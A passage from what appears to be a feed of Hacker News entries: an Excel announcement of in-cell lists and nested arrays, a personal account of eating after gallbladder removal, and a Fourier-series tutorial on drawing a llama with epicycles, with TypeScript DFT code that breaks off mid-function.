platform that can track biochemical changes over time in everyday life.”&#xA;&#xA;The scientists detailed their findings 16 September in the journal _Science Translational Medicine_.&#xA;&#xA;- Contact Lens Uses Microfluidics to Monitor and Treat Glaucoma ›&#xA;- Blink to Generate Power for Smart Contact Lenses ›&#xA;&#xA;Charles Q. Choi is a science reporter who contributes regularly to _IEEE Spectrum_. He has written for _Scientific American_, _The New York Times_, _Wired_, and _Science_, among others.</content>
    <link href="https://spectrum.ieee.org/serotonin-stress-smart-contact-lens" rel="alternate"></link>
    <author>
      <name>marc__1</name>
    </author>
  </entry>
  <entry>
    <title>Excel now supports multiple values in a single cell</title>
    <updated>2026-09-26T05:55:00+09:00</updated>
    <id>hn_49849832</id>
    <content type="html"># Put multiple values in one cell with lists and arrays in Excel&#xA;&#xA;Throughout Excel&#39;s 40-year history, you&#39;ve only been able to put one value per cell. In this announcement, we&#39;re excited to share how that&#39;s changing with the release of lists, arrays in cells, and nested arrays, initially to Microsoft Excel for Windows and Mac Beta Channels.&#xA;&#xA;Many workbooks already try to pack multiple values into one cell. A project might list &#34;Carlos, Henrietta, Jacob&#34; as three owners, or a Forms survey might return &#34;2:00 PM; 2:30 PM; 3:00 PM&#34; as one response. With lists, you can keep those values in one cell, while also keeping them separate for filtering, calculation and more.&#xA;&#xA;Later in this post, we&#39;ll explore arrays in cells and nested arrays in more depth.&#xA;&#xA;&gt; **NOTE:** These are preview features. Their behavior may change before general release based on your feedback. We don&#39;t recommend using them in important workbooks until they&#39;re generally available.&#xA;&#xA;## Lists&#xA;&#xA;Lists let you put multiple values into one cell. You can create a list by selecting **Insert &gt; List** or pressing **Ctrl+J**, then typing or pasting items separated by commas or semicolons, depending on your regional settings. Selecting the icon in the cell shows the individual values.&#xA;&#xA;You can add, remove, or edit list items by double-clicking the cell or pressing **F2**, just like other values.&#xA;&#xA;With lists, you can filter by one or more individual items instead of whole text entries.&#xA;&#xA;Referencing a list returns all its values for calculations. For example, **=B2** spills those values into separate cells.&#xA;&#xA;## Arrays in cells&#xA;&#xA;Lists are useful on their own, but they&#39;re part of a much broader change to Excel. For the first time in Excel, arrays can exist natively in cells as values or as formula results. They can be any size or shape and can even contain other arrays.&#xA;&#xA;You can now keep the result of any spilling formula in a single cell by &#34;wrapping&#34; the formula body with braces **{ }**.&#xA;&#xA;Since the introduction of dynamic arrays, array results have spilled across cells – for example **={1;2;3}**. Wrapping the original array with braces creates a 1x1 array around it, so instead of spilling to multiple cells, the array stays in a single cell.&#xA;&#xA;Braces have long been used to describe arrays in Excel and this extends that behavior by allowing multiple layers of braces. This gives you more flexibility when building spreadsheets. Instead of leaving room for a formula to spill, you can keep the result in one cell.&#xA;&#xA;## Arrays inside arrays, or nested arrays&#xA;&#xA;Arrays can now also &#34;nest&#34; inside other arrays. For example: **={{1,2,3};{4,5,6}}**&#xA;&#xA;Previously, a formula that produced an array of arrays would return a truncated result or #CALC! error. Now, supported formulas return the complete nested result.&#xA;&#xA;In the example below, you can see how **TEXTSPLIT** behaves with and without nested arrays. Without nested arrays, Excel only returns the first item for each row. With nested arrays, the result spills, one array per row.&#xA;&#xA;The arrays in each row can then be used in further calculations.&#xA;&#xA;## Four new functions: FLATTEN, HAS, HASANY, HASALL&#xA;&#xA;To help you work with arrays more easily, we&#39;ve added four functions.&#xA;&#xA;**FLATTEN(array, \[pad\_value\], \[levels\])** simplifies nested arrays by removing one or more levels of nesting.&#xA;&#xA;Continuing from the prior example, FLATTEN lets you simplify the nested array output, spilling the individual results into the grid. We used an empty string (&#34;&#34;) for pad\_value so rows with fewer items show blanks in the remaining columns.&#xA;&#xA;Three HAS functions check whether values are in an array:&#xA;&#xA;- **HAS(array, value)** returns TRUE if value appears anywhere in array, and FALSE otherwise.&#xA;- **HASANY(array, values)** returns TRUE if any of the values appear anywhere in array, and FALSE otherwise.&#xA;- **HASALL(array, values)** returns TRUE if all of the values appear anywhere in array, and FALSE otherwise.&#xA;&#xA;## Do more with spreadsheets using arrays in cells and nested arrays&#xA;&#xA;Arrays in cells open up spreadsheet designs that weren&#39;t practical before. The run tracker below captures split times (how long it takes to run each kilometer) in a table with one run per row. The number of splits depends on the length of the run. Stats for each run are calculated right in the same table.&#xA;&#xA;For more examples, I recommend looking to your favorite Excel communities on LinkedIn, YouTube, Reddit, or elsewhere.&#xA;&#xA;## Enabling nested array calculations in a workbook&#xA;&#xA;Compatibility Version 3 will be released alongside arrays in cells and is required for most calculations involving nested arrays. You can set Compatibility Version for each workbook in by selecting **Formula &gt; Calculation Options**. See compatibility versions for more information.&#xA;&#xA;Some existing formulas return different results in Compatibility Version 3. If your workbook doesn&#39;t behave as expected, you can keep it set to Compatibility Version 1 or 2.&#xA;&#xA;## Known limitations&#xA;&#xA;As this feature rolls out to Beta Channel, the following limitations apply:&#xA;&#xA;- **Conditional formatting** doesn&#39;t inspect array contents unless you use a formula&#xA;- **Data validation** can&#39;t use a list or array as dropdown items&#xA;- **Charts** don&#39;t expand an array into data points&#xA;- **PivotTables** don&#39;t read array values as source data&#xA;- **Power Query** doesn&#39;t load or emit array-valued columns&#xA;- **Find &amp; Replace** can&#39;t replace list/array items&#xA;&#xA;## Availability&#xA;&#xA;These improvements are rolling out to Beta Channel users running:&#xA;&#xA;- Windows: Version 2610 (Build 20520.20000) or later&#xA;- Mac: Version 16.114 (Build 26092111) or later&#xA;&#xA;Features covered on this blog roll out over time to enable us to monitor quality and performance, so some preview features may not be available to you right away. Also note that features may be paused, adjusted, or removed as part of that process.&#xA;&#xA;## Feedback&#xA;&#xA;Click **Help &gt; Feedback** in Excel to tell us what you think.&#xA;&#xA;Learn about the Microsoft 365 Insider program at https://aka.ms/MSFT365InsiderProgram&#xA;&#xA;For technical support and break/fix questions, please visit Microsoft Support Community.</content>
    <link href="https://techcommunity.microsoft.com/blog/microsoft365insiderblog/put-multiple-values-in-one-cell-with-lists-and-arrays-in-excel/4559395" rel="alternate"></link>
    <author>
      <name>luispa</name>
    </author>
  </entry>
  <entry>
    <title>Two and a half years without a gallbladder</title>
    <updated>2026-09-24T22:40:03+09:00</updated>
    <id>hn_49830434</id>
    <content type="html">Two and a half-ish years ago (late February 2024) I had emergency surgery to remove my gallbladder. I had been meeting with a nutritionist about my digestive issues for a couple years (after trying to figure diet improvements out myself), and working my way through tests and specialists trying to hunt down the source of my issues: H. Pylori test, low FODMAP+ elimination diet, trying to regulate my cortisol levels better, taking a proton pump inhibitor, probably more I don’t remember… Turns out, I just had atypical symptoms and/or described them poorly, which made me skeptical\* when I finally got the diagnosis.&#xA;&#xA;I _do_ think someone ought to have referred me to a gastroenterologist years earlier. (This was building up for a long time — looking back I had a memorably bad attack in October 2019, but that wasn’t the first one. The doctors I talked to before said it sounded like IBS.) The gastroenterologist dx’d me using an abdominal ultrasound right away — I had lots of gallbladder sludge. But I spent years trying weird remedies like aloe vera juice and slippery elm bark, which are supposed to coat your throat and protect it from acid reflux.&#xA;&#xA;## Eating without a gallbladder&#xA;&#xA;### Digestive enzyme pills&#xA;&#xA;Your gallbladder stores up bile and releases it when you eat a fatty meal. Now I don’t have anywhere for bile to store up — the same amount of bile just flows regardless of what I’ve eaten. I take a digestive enzyme before meals that I suspect may be hard to digest. I tried a vegetarian one but switched to one with ox bile that works better (sorry / thank you oxen). Sometimes I’ll think I’m fine then as I’m eating realize I should have taken one — I’ll take it up to 15 minutes after eating, though before is better.&#xA;&#xA;### Foods I can’t\* eat post-gallbladder&#xA;&#xA;- leafy salads&#xA;- large quantities of raw veg (potentially with fat)&#xA;- cooked broccoli (ok in small quantities)&#xA;- peanut butter (in dishes / baked seems fine) and peanuts (in a sizeable quantity anyway)&#xA;- spicy foods — I can do mild Thai curries but not Indian — Indian pizza is also out 😔&#xA;- coffee cake with thick buttery streusel&#xA;- whole milk drunk straight (not sure about this, but I drank it so infrequently anyway it’s easy to cut out)&#xA;- pure dark chocolate (brownies and chocolate chip cookies seem fine, chocolate pudding is ok) — the caffeine in chocolate seems to hit me harder these days, so it seems to keep me awake if I have chocolate after like 3pm — luckily I’m not big on chocolate&#xA;&#xA;### Foods that (surprisingly?) cause no trouble&#xA;&#xA;- ice cream&#xA;- milkshakes&#xA;- whole fat Greek yogurt&#xA;- beans and lentils&#xA;- oatmeal&#xA;- raw apples and carrots (at least in moderation)&#xA;- nuts other than peanuts&#xA;&#xA;### Foods I should definitely take a digestive enzyme with&#xA;&#xA;- quiche&#xA;- fried foods (like fake meat burgers and tater tots)&#xA;- pizza or anything else with large amounts of cheese&#xA;&#xA;### My new eating habits&#xA;&#xA;I can also get tripped up by eating too much at once. I now eat three main meals plus aim for two snacks (late afternoon and evening) to get enough calories. This is probably healthier, it’s just marginally annoying that it feels like I’m always either eating, digesting, or hungry 😂 (Plus I like laying down to read, but while I’m digesting I need to sit upright.)&#xA;&#xA;Ginger chews work surprisingly well as a response to indigestion (I can’t take antacids with one of my meds). I get acid reflux only occasionally now (less than once a month?), and usually only if I lay down too soon after eating.&#xA;&#xA;## Since surgery&#xA;&#xA;My IBS symptoms are greatly improved, to the point I suspect the IBS was the gallbladder all along. I do still get bloated at night sometimes — I find that taking my evening medicine at 9:30 and 11pm “reawakens” my digestive system, plus I often have my late snack between 9-10pm.&#xA;&#xA;I only recall one instance of phantom gallbladder pain. Some of my back pain seems to have fallen off after the surgery — I suspect gallbladder pain was being referred there. (It can be referred to the upper back / shoulders.)&#xA;&#xA;My largest scar from the laparoscopic surgery, right under my sternum, has loosened up some — it pulled at first if I stood up straight so I caught myself kinda stooping. The nerves seem to have _mostly_ reconnected — there’s one part of the scar that feels numb-ish, and I have low sensation for about an inch below that.&#xA;&#xA;Maybe this sounds like a bad deal if you have a choice about keeping your gallbladder or having it out, but this feels more predictable and thus easier to manage than inconsistent gallbladder attacks that I couldn’t trace back.&#xA;&#xA;## So what caused my gallstones anyway?&#xA;&#xA;After my surgery, women who’d had their gallbladders out came out of the woodwork — seems to be quite common for women past their late thirties. Apparently women who take birth control pills are much more likely to have gallbladder problems\*. I’ve been taking birth control pills steadily since 2008.&#xA;&#xA;I also wonder whether losing weight contributed — fast weight loss can exacerbate gallstone formation. I started some medications that suppress appetite in 2021 and lost 20+ pounds relatively quickly.</content>
    <link href="https://tracydurnell.com/2026/09/16/two-and-a-half-years-without-a-gallbladder/" rel="alternate"></link>
    <author>
      <name>surprisetalk</name>
    </author>
  </entry>
  <entry>
    <title>Fourier Analysis: Drawing Llamas with Circles</title>
    <updated>2026-09-24T21:03:35+09:00</updated>
    <id>hn_49829472</id>
    <content type="html"># Fourier Analysis: Drawing Llamas with Circles¶&#xA;&#xA;The Fourier transform is a method of transforming an input signal from the time domain to the frequency domain. It has a _huge_ range of applications, for instance audio engineers can pick out individual undesired frequencies in a song with the Fourier transform and then get back the sound without that frequency using the inverse Fourier transform.  We can make use of the Fourier transform in digital image processing for filtering images, like gaussian blurs and compressing images using the JPEG format. Lastly, as this article will go into: drawing!&#xA;&#xA;What am I talking about by _drawing_? Well, the idea is that we can take a path that represents something such as a fish, the pi symbol, or just about anything else we can draw by putting pencil lead down on a piece of paper and sketching a picture without lifting the pencil until completion. Using this path we can connect a bunch of vectors rotating in circles at different frequencies tip to tail and the last vector’s tip will draw out our original sketch, or at least something very closely resembling it.&#xA;&#xA;Here are a few examples of what I am talking about:&#xA;&#xA;So you can draw a straight line using a shape that is about as far opposite from a straight line as possible. By modifying the circles you can change the shape that is drawn. For example, by decreasing the radius of the outer circle and increasing the speed it spins at, we can draw a square.&#xA;&#xA;So what happens, then, if we add a third circle? It will allow our curves to get more sophisticated. Using a third circle we can draw a curve that looks like a fish.&#xA;&#xA;For a more extreme example of what is possible using only circles connected to other circles, here’s a llama being drawn using \\(1024\\) circles each with different frequencies, radii, and start angles. In general (most) every closed curve can be drawn using circles, called epicycles.&#xA;&#xA;In general, the more circles that we add, the more complicated the drawings we can produce. Also, the more circles we add for the same drawing, the better it will resemble the original “input” drawing. In order to understand what creates that animation, we will need to go into some of the underlying math and intuition behind the Fourier transform (and series). As mentioned previously, there are three conditions we can modify on a circle to draw different curves. They are: the rate at which it rotates (frequency), how big the circle is (radius), and the angle it starts at (phase). All three of these conditions can be represented using a single complex number.&#xA;&#xA;Here’s an example you can mess around with to visualize the effect adding circles has on the final drawing.&#xA;&#xA;## Fourier Transform¶&#xA;&#xA;But first, I should probably give a quick overview of what the Fourier transform is. It is a transformation from the time domain to the frequency domain. What does this mean? If we have a function, \\(\\sin(2\\pi\\times 3t)\\), then the Fourier transformation of that \\(\\sin(2\\pi\\times 3t)\\) function would just be a single spike at the frequency \\(\\pm 3\\text{hz}\\).&#xA;&#xA;As expected, there are spikes at the frequency \\(3\\text{hz}\\) and \\(-3\\text{hz}\\). Essentially what we are doing is finding what frequencies are present in whatever we want and then combining those sine waves into an approximation of the original thing we wanted. Over the next few sections I’ll attempt to show how the Fourier transform works.&#xA;&#xA;## Complex Numbers¶&#xA;&#xA;This section will be a quick refresher on what a complex number is, and can be skipped if you are already familiar with them. A complex number consists of two parts, the “real” part, and the “imaginary” part. This takes numbers we are already familiar with and essentially adds another axis to represent them with.&#xA;&#xA;A complex number is written as \\(3+4i\\), where \\(3\\) is the real part and \\(4i\\) is the imaginary part. These two separate pieces are added together to form a complex number.&#xA;&#xA;Another useful property of complex numbers here is that they can be easily thought of as two-dimensional vector where the real portion is \\(x\\) and the imaginary part is \\(y\\) in a standard point, \\((x, y)\\), in the two-dimensional Euclidean space. This representation is very convenient here due to the connection between trigonometry and complex exponentials. The formula that provides the link between the two is known as _Euler’s Identity_. This will be covered further in a later section in the article.&#xA;&#xA;## Linear Algebra¶&#xA;&#xA;Linear Algebra is an important concept in understanding how we draw pictures using vectors rotating in circles. Namely, how we can represent vectors in terms of other vectors. In the standard 2D \\((x, y)\\) Euclidean space, we can represent all vectors in terms of the \\(\\textbf{x}\\) and \\(\\textbf{y}\\) unit vectors. These are typically called \\(\\hat{\\textbf{i}}\\) and \\(\\hat{\\textbf{j}}\\) (pronounced “i-hat” and “j-hat”) with \\(\\hat{\\textbf{i}} = (1, 0)\\) (the \\(x\\)-axis) and \\(\\hat{\\textbf{j}} = (0, 1)\\) (the \\(y\\)-axis). To do this we have two operations we can use: multiplication by a scalar and addition. For example, the vector \\(\\vec{a} = (5,-8)\\) can be expressed as&#xA;&#xA;This multiplication by a scalar and addition of vectors to produce another vector is known as the **linear combination** of a set of vectors. In this instance, that set of vectors is the unit vectors \\(\\hat{\\textbf{i}}\\) and \\(\\hat{\\textbf{j}}\\).&#xA;&#xA;But \\(\\hat{\\textbf{i}}\\) and \\(\\hat{\\textbf{j}}\\) aren’t the only vectors that can be used to represent other vectors, however. In fact, any two vectors can be scaled and added together to form any other vector as long as they are not a multiple of the other themselves. For example \\((1,-1)\\) and \\((-2, 2)\\) would not be valid since \\((-2,2) = -2 \\times (1,-1)\\). In the above picture, we have vectors \\(\\vec{u} = (\\tfrac{1}{\\sqrt{2}},\\tfrac{1}{\\sqrt{2}})\\) and \\(\\vec{v} = (-\\tfrac{1}{\\sqrt{2}}, \\tfrac{1}{\\sqrt{2}})\\) which have length 1 and are orthogonal (a \\(90^{\\circ}\\) angle between them). Neither of these vectors can be scaled to equal the other, which means they are **linearly independent** and therefore they can be basis vectors of the entire 2D space.&#xA;&#xA;The **dot product** (or sometimes called “ **inner product**”) is how we determine what number to scale vectors by to represent them in terms of the chosen vectors.&#xA;In order to represent the vector \\(\\vec{\\textbf{w}} = (0.7, 1.2)\\) from the above diagram in terms of the vectors \\(\\vec{u}\\) and \\(\\vec{v}\\), we need to figure out what numbers to multiply them in order to form the linear combination \\(\\vec{w} = c\_1\\cdot \\vec{u}+c\_2\\cdot \\vec{v}\\). Specifically, the numbers that we need from the dot product are the constant multipliers \\(c\_1\\) and \\(c\_2\\). Another way of thinking about this concept is that the dot product answers the question “how much of \\(\\vec{u}\\) is in \\(\\vec{w}\\)?” This intuition will be important later on when we go into the math behind the Fourier transform. Anyways, we can figure out what \\(c\_1\\) is by taking the dot product of \\(\\vec{w}\\) with \\(\\vec{u}\\), also note that the order does not matter (e.g., \\(\\langle\\vec{u},\\vec{w}\\rangle = \\langle\\vec{w},\\vec{u}\\rangle\\)).&#xA;&#xA;So we need to scale \\(\\vec{u}\\) by a factor of \\(1.3435\\) which means it will get stretched by a factor of \\(1.3435\\) times its original size. Our \\(\\vec{u}\\) component of \\(\\vec{w}\\) (\\(c\_1\\)) therefore is \\(1.3435\\).&#xA;&#xA;Similarly, we need to scale \\(\\vec{v}\\) by a factor of \\(0.353553\\) which means it will get shrunk (or compressed) by a factor of \\(0.353553\\) times its original size. Our \\(\\vec{v}\\) component of \\(\\vec{w}\\) (\\(c\_2\\)) therefore is \\(0.353553\\).&#xA;&#xA;We wind up with our linear combination being&#xA;&#xA;Which is indeed equal to our original vector, \\(\\vec{w}\\).&#xA;&#xA;The dot product of any two vectors is defined as&#xA;&#xA;Where \\(\\theta\\) is the angle between \\(v\_1\\) and \\(v\_2\\) and \\(\\\|\\vec{v}\\\|\\) is the magnitude of the vector. The magnitude is also known as the **norm** and is defined as \\(\\\|\\vec{v}\\\| = \\sqrt{{v}\_x^2 + {v}\_y^2}\\). That equation probably looks familiar, and that would be because it’s just the Pythagorean theorem we’ve all learned at some point in a K-12 math class.&#xA;&#xA;The dot product also has some important properties that make it useful in our case. First, the dot product of any vector with itself is the magnitude of the vector squared (\\(\\vec{v\_1}\\cdot \\vec{v\_1} = \\\|\\vec{v\_1}\\\|^2\\)). For instance,&#xA;&#xA;Secondly, the dot product of vectors that are perpendicular (form a right angle where they intersect) to eachother is \\(0\\). This is because \\(\\cos(\\frac{\\pi}{2}) = 0\\). Therefore, with \\(\\vec{v\_1}, \\vec{v\_2}\\) perpenicular, you end up with&#xA;&#xA;With our previous intuition of “how much \\(\\vec{v\_1}\\) is in \\(\\vec{v\_2}\\)”, it makes sense for it to be \\(0\\) since these two vectors are orthogonal.&#xA;&#xA;## Inner Products of Continuous Functions¶&#xA;&#xA;The previous section’s dot product was for the dot product of two vectors, but this definition can be extended to also be valid for continuous functions. The key difference is in the type of summation being done. As mentioned previously, the formula for a 2D dot product is&#xA;&#xA;Or rather, the summation of the like terms of both vectors where the length of the vectors is finite (\\(2\\), in this case) so the summation is discrete. Another way of writing this equation for any dimension is&#xA;&#xA;Where \\(N\\) is the dimension. The sigma-notation summation here is summation over a discrete interval. For instance, in a 3D space, the summation is over the interval \\(\[1, 3\]\\). This summation, however, is only good for vectors in \\(\\mathbb{R}^n\\). The formula for complex vectors of length \\(n\\), \\(\\mathbb{C}^n\\), is very similar. We just need to take the conjugate of the second vector.&#xA;&#xA;It’s important to note that the complex conjugate here makes this formula “antilinear in the second argument”, which is to say \\(\\vec{a}\\cdot(\\vec{b}+\\vec{c})=\\vec{a}\\cdot \\vec{b} + \\vec{a}\\cdot \\vec{c}\\). However, in scalar multiplication it is not linear and instead we must pull out the conjugate of the scalar, \\(\\vec{a}\\cdot(b\\times \\vec{c})=\\overline{b}\\times (\\vec{a}\\cdot \\vec{c})\\). It is linear in the first argument, though, which means when you pull out a scalar multiple from the first argument of the inner product, you do not need to take the conjugate of the scalar. In general, it will be antilinear in the argument you are taking the complex conjugate of, and linear in the other one.&#xA;&#xA;What we need is a type of summation that can be performed over continuous intervals where the summation interval can be infinitely small. This sounds like the perfect use case for an integral.&#xA;&#xA;The only restrictions here being that the functions \\(f(t)\\) and \\(g(t)\\) must be square integrable over the interval \\(\[0,T\]\\), which is to say that integrating the function’s absolute value squared is finite over \\(\[0, T\]\\).&#xA;&#xA;Note&#xA;&#xA;\\(L^2\\) is the set of square-integrable functions and \\(L^2(0, T)\\) is the set of square-integrable functions over interval \\(\[0, T\]\\).&#xA;&#xA;To make this a bit more familiar and similar looking to our previous definition of the dot product in 2D space, we can write this integral as a Reimann Sum (sigma-notation) like so&#xA;&#xA;Where \\(\\dfrac{T}{N}\\) is the equivalent of \\(dt\\) here. It is the infinitesimally small piece that each step gets multiplied by. Functions \\(f\\) and \\(g\\) then take the upper bound \\(T\\) times the ratio between the current step in the summation and what the limit approaches. This keeps the value \\(f\\) and \\(g\\) are taking as a parameter within the integration interval. In lower steps (\\(k = 0, 1, 2\\), etc) \\(\\frac{T\\times k}{N}\\) will be much closer to \\(0\\) and thus the argument will be much closer \\(0\\). Where as \\(k\\) approaches \\(N\\), \\(\\frac{T\\times k}{N}\\) will be closer to \\(1\\) and as a result be closer to \\(T\\).&#xA;&#xA;## Complex Exponentials as Sines and Cosines¶&#xA;&#xA;Complex exponentials provide a convenient way for us to easily deal with sines and cosines. There’s a surprising link between the world of trigonometry and the complex plane. The formula that describes that link is called Euler’s Identity. Here is the formula for Euler’s Identity, as promised in the _Complex Numbers_ section.&#xA;&#xA;Where \\(x\\) describes how far around a circle to travel. For instance, \\(e^{\\frac{\\pi}{4} i}\\) goes around the circle \\(\\frac{\\pi}{4}\\) radians and ends up at \\(\\frac{\\sqrt{2}}{2} + \\frac{\\sqrt{2}}{2}i\\). Additionally, \\(e^{\\pi i}\\) goes around the circle \\(\\pi\\) radians and ends up at \\(-1 + 0i\\), which is Euler’s other famous identity:&#xA;&#xA;Why is this the case? How does raising \\(e\\) to an imaginary number cause rotation about a unit circle? The answer lies in physics. If the position \\(p\\) at time \\(t\\) is&#xA;&#xA;Then the velocity of that point is the first derivative of \\(p(t)\\).&#xA;&#xA;And that is all we need! The velocity is the same as the position but imaginary instead of real. Multiplying by \\(i\\) is like rotating counter-clockwise by \\(90^{\\circ}\\). For example, if you have \\(a\\in\\mathbb{R}\\), then \\(i\\times a\\) is whatever \\(a\\) was on the imaginary axis instead. But what if \\(a\\) was already imaginary? Then you have \\(a = i\\times k\\) where \\(k\\) is some real number. Multiplying \\(a\\), then by \\(i\\) becomes \\(i\\times a = i^2\\times k\\). We know by the definition of \\(i\\) that \\(i^2\\) is \\(-1\\), thus \\(i\\times a = -k\\). Since it’s just the negtive of a real number, it’s a \\(180^{\\circ}\\) rotation. Since multiplying by \\(i\\) is like rotating by \\(90^{\\circ}\\) then the velocity function is always perpendicular to the direction of the current position. The curve this will draw is a circle, and that’s why \\(f(t)=e^{it}\\enspace \\text{where}\\enspace t\\in \[0, 2\\pi\]\\) draws a circle.&#xA;&#xA;Also, note that&#xA;&#xA;Since \\(\\cos{t}\\) and \\(\\sin{t}\\) are orthogonal functions, which makes \\(\\cos\\) and \\(\\sin\\) a basis for the Fourier transform.&#xA;&#xA;So essentially what we are doing is a change of basis from the two dimension complex number space \\((1,0), (0, 1)i\\) to an infinite dimension space with basis _functions_ \\((...,e^{i\\frac{-4\\pi}{T}t}, e^{i\\frac{-2\\pi}{T}t}, 1, e^{i\\frac{2\\pi}{T}t}, e^{i\\frac{4\\pi}{T}t},...)\\) which means that we are going from a function producing complex numbers and mapping to a new function producing an infinite dimension complex vector. This can also be represented as an infinite dimension basis on \\(\\mathbb{R}\\) by using Euler’s formula to convert the basis to \\((...,\\cos(\\frac{-2\\pi}{T}),\\sin(\\frac{-2\\pi}{T}),1,\\cos(\\frac{2\\pi}{T}), \\sin(\\frac{2\\pi}{T}),...)\\). Since this is a linear operation and it’s mapping from one function space to another, it’s what we call a **linear operator**.&#xA;&#xA;## Approximating a Square Wave¶&#xA;&#xA;The square wave is sort of like the “hello world” of the signal processing world. A square wave is defined as a \\(\[-\\pi, \\pi\]\\) periodic wave where half the period is “on”, or \\(1\\), and half the period is “off”, or \\(0\\).&#xA;&#xA;Where **sgn** is the sign function, defined as so&#xA;&#xA;So we can integrate (inner product of the square wave function and the \\(k\\)th basis term, same as a change of basis for 2D vectors as described in the _Linear Algebra_ section above) to find the \\(k\\)th Fourier coefficient of the square wave.&#xA;&#xA;Note&#xA;&#xA;The \\(\\frac{2\\pi}{T}\\) term for \\(e^{-i \\frac{2\\pi}{T} k t}\\) disappears since \\(T=2\\pi\\).&#xA;&#xA;Since the sign function is discontinuous, we need to separate the integral into a new integral for each case of the sign function.&#xA;&#xA;As we can see, between \\(\[-\\pi, 0\]\\), the sign of \\(\\sin(t)\\) is negative. At \\(0\\), it’s \\(0\\), and between \\(\[0, \\pi\]\\) it’s positive. Therefore the separated integral looks like&#xA;&#xA;The middle term will disappear since the interval is \\(\[0, 0\]\\) and the integrand is \\(0\\), and we are left with&#xA;&#xA;Since the \\(-1\\) can be pulled out of the first integrand, this can be simplified even further to&#xA;&#xA;So we can calculate this integral pretty easily. Recall that&#xA;&#xA;Here we are going to ignore the constant term and just use \\(-i e^{i x}\\). Since \\(k\\) is just a constant term, it gets divided. We end up with the following&#xA;&#xA;We have a major problem with this formula, however. We need a value for \\(k=0\\). This formula, with \\(k=0\\), would result in a divide by \\(0\\), which we cannot do. As a result, we need to define \\(c\_k\\) for when \\(k=0\\) and for when \\(k\\not = 0\\). If we plug \\(0\\) into \\((26)\\) then we have \\(c\_0\\).&#xA;&#xA;Now that we have both cases defined we can write it as a piecewise function.&#xA;&#xA;Which is our final equation for the \\(k\\)th coefficient. We can plug in a few values for \\(k\\) and see what we get.&#xA;&#xA;Observe that positive and negative corresponding \\(c\_k\\)s have equal magnitudes but opposite directions. So now to get an equation that we can graph to approximate our square wave, we sum each \\(c\_k\\) coefficient multiplied by \\(e^{i k t}\\).&#xA;&#xA;This equation looks complicated but it can actually be simplified quite a bit further using the following identity&#xA;&#xA;Using the above identity that takes our difference of complex exponentials into just an imaginary sine component, we get the following simplification&#xA;&#xA;Which is **a lot** cleaner, since our new equation no longer involves any imaginary terms. So now we can go ahead and plot this and see how well it approximates our original square wave function.&#xA;&#xA;Well, it’s not exactly a square wave _yet_ but the idea is that as we add together more sine waves found in the same manner as above, then we will get the square wave as the number of sine waves we add together approaches infinity. This is what we call the Fourier Series, since it is an infinite summation of sine waves that converges to our original function. You can see in the following picture that as we go from \\(7\\) coefficients to \\(51\\) the approximation gets _much_ better.&#xA;&#xA;The function goes from having \\(2\\) sine waves to \\(13\\). With these additional \\(9\\) sine waves the graph is actually starting to look a bit like a square wave.&#xA;&#xA;## Drawing Llamas¶&#xA;&#xA;We can use the same principles demonstrated in the section above to draw pretty much anything we want to as long as we can represent it as a closed curve that is fairly smooth. As far as how to go about acquiring a function that represents a llama, there’s two things we can do. We can draw a llama in a vector graphics program and export it as an SVG and then use the SVG since SVGs are just mathematically defined curves (lines, bezier curves, etc). Or, we could take that SVG and sample it at evenly spaced intervals and get a list of sample points and execute a descrete Fourier transformation (DFT) on those sample points to get the Fourier coefficients. For this article, we are going to go with the second option as it’s more straightforward.&#xA;&#xA; `const numSamples = 400;&#xA;let pts = [];&#xA;function entry() {&#xA;    const svgUrl = &#39;./images/llama.svg&#39;;&#xA;    const response = await fetch(svgUrl);&#xA;    const text = await response.text();&#xA;    pts = await sampleSvgPoints(text, numSamples);&#xA;}&#xA;entry();&#xA;// Might not sample exactly numPts number of sample points, but it will be&#xA;// close. Not a concern using the O(N^2) DFT. Using FFT, that can be&#xA;// concerning since the ideal number of point samples is an exponent of 2.&#xA;async function sampleSvgPoints(xml: string, numPts: number): Promise&lt;[number, number][]&gt; {&#xA;    const parser = new DOMParser();&#xA;    const doc = parser.parseFromString(xml, &#39;application/xml&#39;);&#xA;    let samplePts = [];&#xA;    const paths = Array.from(doc.querySelectorAll(&#39;path&#39;));&#xA;    const totalLength = paths.reduce((acc, v) =&gt; acc + v.getTotalLength(), 0);&#xA;    const step = (totalLength / numPts);&#xA;    paths.forEach(path =&gt; {&#xA;        const sample = [];&#xA;        const n = M.floor(path.getTotalLength());&#xA;        for (let i = 0; i &lt; n; i += step)&#xA;            sample.push(toPt(path.getPointAtLength(i)));&#xA;        samplePts = samplePts.concat(sample);&#xA;    });&#xA;    while (samplePts.length &gt; numPts)&#xA;        samplePts.pop();&#xA;    return samplePts;&#xA;}&#xA;function toPt(pt: SVGPoint): [number, number] {&#xA;    return [pt.x, pt.y];&#xA;}&#xA;`&#xA;&#xA;Sampling an SVG for points So then we run the Discrete Fourier Transform (DFT) on those sampled points to find the Fourier coefficients that we want just like for the square wave above. The Discrete Fourier transform equation is the following&#xA;&#xA;Where \\(N\\) is the total number of sample points in our list of sample points we want to transform. For our use case \\(p(k)\\) is just going to be keying an array essentially. For example, if \\(p\\) is our list of sample points, then in Javascript it would just be `p[k]`. The DFT is really the same thing as the Fourier series except we are summing evenly spaced definite samples rather than having a limit as the change between steps reaches \\(0\\), or equally stated the number of terms being summed aproaches \\(\\infty\\). The DFT also is a way to convert \\(N\\) evenly spaced sample complex points in the time domain into their representation in the frequency domain. That is, figuring out the strengths of each whole number sinusoidal frequency. This is the direct application of the change of basis to the \\(N\\)-dimensional basis \\((...,e^{i\\frac{-4\\pi}{T}t}, e^{i\\frac{-2\\pi}{T}t}, 1, e^{i\\frac{2\\pi}{T}t}, e^{i\\frac{4\\pi}{T}t},...)\\) as explained a few sections ago in the _Complex Exponentials as Sines and Cosines_ section.&#xA;&#xA;We can implement the DFT fairly easy using two loops, the outer loop calculating each coefficient \\(c\_k\\), and the inner loop doing the numerical integration summation and dividing by \\(N\\) to get the _average_ strength of each frequency \\(k\\). This approach is very slow, but will work for decently small numbers of points. This ends up being \\(\\mathcal{O}(kj)\\) which at worst case will be \\(\\mathcal{O}(N^2)\\). We can do _much_ better than this with more efficient algorithms, like the Radix-2 Fast Fourier Transform (FFT) which is on average \\(\\mathcal{O}(N\\log(N))\\), however this article is already getting lengthy so that can be a topic for a future article.&#xA;&#xA; ``import * as M from &#39;mathjs&#39;;&#xA;export type DFTData = M.Complex &amp; {&#xA;    freq: number;&#xA;    radius: number;&#xA;    phase: number;&#xA;};&#xA;export async function dft(cps: M.Complex[]): Promise&lt;DFTData[]&gt; {&#xA;    const X = [];&#xA;    const N = cps.length;&#xA;    for (let i = 0; i &lt; N; 